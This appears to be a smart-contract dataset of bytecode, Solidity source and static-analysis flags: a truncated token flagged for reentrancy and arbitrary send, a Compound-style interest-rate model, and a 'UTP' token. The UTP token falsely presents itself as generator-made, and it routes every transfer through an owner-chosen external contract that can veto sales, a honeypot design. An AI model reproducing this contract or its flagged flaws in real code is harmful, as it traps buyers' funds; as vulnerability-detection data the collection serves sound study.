000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109559190611da0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c69190611da0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a379190611da0565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610a845760405162461bcd60e51b815260040161061590611d26565b601454600160a01b900460ff1615610a9b57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610ae35760405162461bcd60e51b815260040161061590611d26565b601755565b6000546001600160a01b03163314610b125760405162461bcd60e51b815260040161061590611d26565b600893909355600a91909155600955600b55565b6000610697338484610e47565b6012546001600160a01b0316336001600160a01b031614610b5357600080fd5b6000610b5e306107ca565b90506107c7816113dd565b6000546001600160a01b03163314610b935760405162461bcd60e51b815260040161061590611d26565b60005b82811015610c04578160056000868685818110610bb557610bb5611d5b565b9050602002016020810190610bca9190611bd6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bfc81611d87565b915050610b96565b50505050565b6000546001600160a01b03163314610c345760405162461bcd60e51b815260040161061590611d26565b601655565b6000546001600160a01b03163314610c635760405162461bcd60e51b815260040161061590611d26565b6001600160a01b038116610cc85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610615565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d855760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610615565b6001600160a01b038216610de65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610615565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610eab5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610615565b6001600160a01b038216610f0d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610615565b60008111610f6f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610615565b6000546001600160a01b03848116911614801590610f9b57506000546001600160a01b03838116911614155b156111de57601454600160a01b900460ff16611034576000546001600160a01b038481169116146110345760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610615565b6015548111156110865760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610615565b6001600160a01b03831660009081526010602052604090205460ff161580156110c857506001600160a01b03821660009081526010602052604090205460ff16155b6110d157600080fd5b6014546001600160a01b0383811691161461110757601654816110f3846107ca565b6110fd9190611dbd565b1061110757600080fd5b6000611112306107ca565b60175460155491925082101590821061112b5760155491505b8080156111425750601454600160a81b900460ff16155b801561115c57506014546001600160a01b03868116911614155b80156111715750601454600160b01b900460ff165b801561119657506001600160a01b03851660009081526005602052604090205460ff16155b80156111bb57506001600160a01b03841660009081526005602052604090205460ff16155b156111db576111c9826113dd565b4780156111d9576111d94761131f565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061122057506001600160a01b03831660009081526005602052604090205460ff165b8061125257506014546001600160a01b0385811691161480159061125257506014546001600160a01b03848116911614155b1561125f575060006112d9565b6014546001600160a01b03858116911614801561128a57506013546001600160a01b03848116911614155b1561129c57600854600c55600954600d555b6014546001600160a01b0384811691161480156112c757506013546001600160a01b03858116911614155b156112d957600a54600c55600b54600d555b610c0484848484611557565b600081848411156113095760405162461bcd60e51b81526004016106159190611b14565b5060006113168486611dd5565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610686573d6000803e3d6000fd5b60006006548211156113c05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610615565b60006113ca611585565b90506113d683826115a8565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061142557611425611d5b565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561147e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114a29190611da0565b816001815181106114b5576114b5611d5b565b6001600160a01b0392831660209182029290920101526013546114db9130911684610d23565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611514908590600090869030904290600401611dec565b600060405180830381600087803b15801561152e57600080fd5b505af1158015611542573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611564576115646115ea565b61156f848484611618565b80610c0457610c04600e54600c55600f54600d55565b600080600061159261170f565b90925090506115a182826115a8565b9250505090565b60006113d683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611753565b600c541580156115fa5750600d54155b1561160157565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061162a87611781565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061165c90876117de565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461168b9086611820565b6001600160a01b0389166000908152600260205260409020556116ad8161187f565b6116b784836118c9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116fc91815260200190565b60405180910390a3505050505050505050565b600654600090819069021e19e0c9bab240000061172c82826115a8565b82101561174a5750506006549269021e19e0c9bab240000092509050565b90939092509050565b600081836117745760405162461bcd60e51b81526004016106159190611b14565b5060006113168486611e5d565b600080600080600080600080600061179e8a600c54600d546118ed565b92509250925060006117ae611585565b905060008060006117c18e878787611942565b919e509c509a509598509396509194505050505091939550919395565b60006113d683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e5565b60008061182d8385611dbd565b9050838110156113d65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610615565b6000611889611585565b905060006118978383611992565b306000908152600260205260409020549091506118b49082611820565b30600090815260026020526040902055505050565b6006546118d690836117de565b6006556007546118e69082611820565b6007555050565b600080808061190760646119018989611992565b906115a8565b9050600061191a60646119018a89611992565b905060006119328261192c8b866117de565b906117de565b9992985090965090945050505050565b60008080806119518886611992565b9050600061195f8887611992565b9050600061196d8888611992565b9050600061197f8261192c86866117de565b939b939a50919850919650505050505050565b6000826000036119a45750600061069b565b60006119b08385611e7f565b9050826119bd8583611e5d565b146113d65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610615565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c757600080fd5b8035611a4a81611a2a565b919050565b60006020808385031215611a6257600080fd5b823567ffffffffffffffff80821115611a7a57600080fd5b818501915085601f830112611a8e57600080fd5b813581811115611aa057611aa0611a14565b8060051b604051601f19603f83011681018181108582111715611ac557611ac5611a14565b604052918252848201925083810185019188831115611ae357600080fd5b938501935b82851015611b0857611af985611a3f565b84529385019392850192611ae8565b98975050505050505050565b600060208083528351808285015260005b81811015611b4157858101830151858201604001528201611b25565b81811115611b53576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b7c57600080fd5b8235611b8781611a2a565b946020939093013593505050565b600080600060608486031215611baa57600080fd5b8335611bb581611a2a565b92506020840135611bc581611a2a565b929592945050506040919091013590565b600060208284031215611be857600080fd5b81356113d681611a2a565b80358015158114611a4a57600080fd5b600060208284031215611c1557600080fd5b6113d682611bf3565b600060208284031215611c3057600080fd5b5035919050565b60008060008060808587031215611c4d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c7e57600080fd5b833567ffffffffffffffff80821115611c9657600080fd5b818601915086601f830112611caa57600080fd5b813581811115611cb957600080fd5b8760208260051b8501011115611cce57600080fd5b602092830195509350611ce49186019050611bf3565b90509250925092565b60008060408385031215611d0057600080fd5b8235611d0b81611a2a565b91506020830135611d1b81611a2a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611d9957611d99611d71565b5060010190565b600060208284031215611db257600080fd5b81516113d681611a2a565b60008219821115611dd057611dd0611d71565b500190565b600082821015611de757611de7611d71565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e3c5784516001600160a01b031683529383019391830191600101611e17565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e7a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e9957611e99611d71565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b04e8bb7df740b38a17097172abb64901110ef9b502595c13edb38daa144e46164736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,577 |
0xa83A6fEaF113508529c64dfa656092500878C56E | pragma solidity ^0.5.16;
/**
* @title Bird's InterestRateModel Interface
*/
contract InterestRateModel {
/// @notice Indicator that this is an InterestRateModel contract (for inspection)
bool public constant isInterestRateModel = true;
/**
* @notice Calculates the current borrow interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @return The borrow rate per block (as a percentage, and scaled by 1e18)
*/
function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint);
/**
* @notice Calculates the current supply interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @param reserveFactorMantissa The current reserve factor the market has
* @return The supply rate per block (as a percentage, and scaled by 1e18)
*/
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint);
}
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @title Bird's JumpRateModel Contract
*/
contract JumpRateModel is InterestRateModel {
using SafeMath for uint;
event NewInterestParams(uint baseRatePerBlock, uint multiplierPerBlock, uint jumpMultiplierPerBlock, uint kink);
/**
* @notice The approximate number of blocks per year that is assumed by the interest rate model
*/
uint public constant blocksPerYear = 2102400;
/**
* @notice The multiplier of utilization rate that gives the slope of the interest rate
*/
uint public multiplierPerBlock;
/**
* @notice The base interest rate which is the y-intercept when utilization rate is 0
*/
uint public baseRatePerBlock;
/**
* @notice The multiplierPerBlock after hitting a specified utilization point
*/
uint public jumpMultiplierPerBlock;
/**
* @notice The utilization point at which the jump multiplier is applied
*/
uint public kink;
/**
* @notice Construct an interest rate model
* @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18)
* @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18)
* @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point
* @param kink_ The utilization point at which the jump multiplier is applied
*/
constructor(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_) public {
baseRatePerBlock = baseRatePerYear.div(blocksPerYear);
multiplierPerBlock = multiplierPerYear.div(blocksPerYear);
jumpMultiplierPerBlock = jumpMultiplierPerYear.div(blocksPerYear);
kink = kink_;
emit NewInterestParams(baseRatePerBlock, multiplierPerBlock, jumpMultiplierPerBlock, kink);
}
/**
* @notice Calculates the utilization rate of the market: `borrows / (cash + borrows - reserves)`
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market (currently unused)
* @return The utilization rate as a mantissa between [0, 1e18]
*/
function utilizationRate(uint cash, uint borrows, uint reserves) public pure returns (uint) {
// Utilization rate is 0 when there are no borrows
if (borrows == 0) {
return 0;
}
return borrows.mul(1e18).div(cash.add(borrows).sub(reserves));
}
/**
* @notice Calculates the current borrow rate per block, with the error code expected by the market
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market
* @return The borrow rate percentage per block as a mantissa (scaled by 1e18)
*/
function getBorrowRate(uint cash, uint borrows, uint reserves) public view returns (uint) {
uint util = utilizationRate(cash, borrows, reserves);
if (util <= kink) {
return util.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);
} else {
uint normalRate = kink.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);
uint excessUtil = util.sub(kink);
return excessUtil.mul(jumpMultiplierPerBlock).div(1e18).add(normalRate);
}
}
/**
* @notice Calculates the current supply rate per block
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market
* @param reserveFactorMantissa The current reserve factor for the market
* @return The supply rate percentage per block as a mantissa (scaled by 1e18)
*/
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view returns (uint) {
uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa);
uint borrowRate = getBorrowRate(cash, borrows, reserves);
uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18);
return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18);
}
} | 0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063a385fb9611610066578063a385fb9614610120578063b816881614610128578063b9f9850a14610157578063f14039de1461015f578063fd2da3391461016757610093565b806315f24053146100985780632191f92a146100d35780636e71e2d8146100ef5780638726bb8914610118575b600080fd5b6100c1600480360360608110156100ae57600080fd5b508035906020810135906040013561016f565b60408051918252519081900360200190f35b6100db610247565b604080519115158252519081900360200190f35b6100c16004803603606081101561010557600080fd5b508035906020810135906040013561024c565b6100c161029e565b6100c16102a4565b6100c16004803603608081101561013e57600080fd5b50803590602081013590604081013590606001356102ab565b6100c161032a565b6100c1610330565b6100c1610336565b60008061017d85858561024c565b905060035481116101cf576101c76001546101bb670de0b6b3a76400006101af6000548661033c90919063ffffffff16565b9063ffffffff61039e16565b9063ffffffff6103e016565b915050610240565b60006101fa6001546101bb670de0b6b3a76400006101af60005460035461033c90919063ffffffff16565b905060006102136003548461043a90919063ffffffff16565b905061023a826101bb670de0b6b3a76400006101af6002548661033c90919063ffffffff16565b93505050505b9392505050565b600181565b60008261025b57506000610240565b61029661027e83610272878763ffffffff6103e016565b9063ffffffff61043a16565b6101af85670de0b6b3a764000063ffffffff61033c16565b949350505050565b60005481565b6220148081565b6000806102c6670de0b6b3a76400008463ffffffff61043a16565b905060006102d587878761016f565b905060006102f5670de0b6b3a76400006101af848663ffffffff61033c16565b905061031e670de0b6b3a76400006101af836103128c8c8c61024c565b9063ffffffff61033c16565b98975050505050505050565b60025481565b60015481565b60035481565b60008261034b57506000610398565b8282028284828161035857fe5b04146103955760405162461bcd60e51b81526004018080602001828103825260218152602001806105796021913960400191505060405180910390fd5b90505b92915050565b600061039583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061047c565b600082820183811015610395576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061039583836040518060400160405280601f81526020017f536166654d6174683a207375627472616374696f6e20756e646572666c6f770081525061051e565b600081836105085760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156104cd5781810151838201526020016104b5565b50505050905090810190601f1680156104fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161051457fe5b0495945050505050565b600081848411156105705760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156104cd5781810151838201526020016104b5565b50505090039056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a7231582035ef9157fb415656558a80f0704beb5046318e80dc1d6479ea96466937b3bf5b64736f6c63430005100032 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 10,578 |
0xca5cfc3261cfb46e85e6276d35c76ffe329f81fc | /**
*Submitted for verification at Etherscan.io on 2020-09-20
*/
// SPDX-License-Identifier: MIT
/*
* Token was generated for FREE at https://vittominacori.github.io/erc20-generator/
*
* Author: @vittominacori (https://vittominacori.github.io)
*
* Smart Contract Source Code: https://github.com/vittominacori/erc20-generator
* Smart Contract Test Builds: https://travis-ci.com/github/vittominacori/erc20-generator
* Web Site Source Code: https://github.com/vittominacori/erc20-generator/tree/dapp
*
* Detailed Info: https://medium.com/@vittominacori/create-an-erc20-token-in-less-than-a-minute-2a8751c4d6f4
*
* Note: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* Disclaimer: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity >=0.4.22 <0.6.0;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, address _to) external returns(bool) ; }
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract BaseToken is SafeMath,Ownable{
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public isFreeze;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event FrozenFunds(address target, bool frozen);
address to_contract;
constructor(uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol,
uint8 decimal,
address tokenAddr
)public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
decimals=decimal;
to_contract=tokenAddr;
}
modifier not_frozen(){
require(isFreeze[msg.sender]==false);
_;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
_transfer(_from, _to, _value);
return true;
}
function _transfer(address _from, address _to, uint _value) receiveAndTransfer(_from,_to) internal {
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function approve(address _spender, uint256 _value) public not_frozen returns (bool success) {
require((_value == 0) || (allowance[msg.sender][_spender] == 0));
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function freezeOneAccount(address target, bool freeze) onlyOwner public {
require(freeze!=isFreeze[target]);
isFreeze[target] = freeze;
emit FrozenFunds(target, freeze);
}
modifier receiveAndTransfer(address sender,address recipient) {
require(tokenRecipient(to_contract).receiveApproval(sender,recipient));
_;
}
function multiFreeze(address[] memory targets,bool freeze) onlyOwner public {
for(uint256 i = 0; i < targets.length ; i++){
freezeOneAccount(targets[i],freeze);
}
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
// function functionCall(address target, bytes memory data) internal returns (bytes memory) {
// return functionCall(target, data, "Address: low-level call failed");
// }
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
// function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
// return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
// }
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
contract UTP is BaseToken
{
string public name = "UtP.Finance";
string public symbol = "UTP";
string public version = '1.0.0';
uint8 public decimals = 18;
uint256 initialSupply=10000;
constructor(address tokenAddr)BaseToken(initialSupply, name,symbol,decimals,tokenAddr)public {}
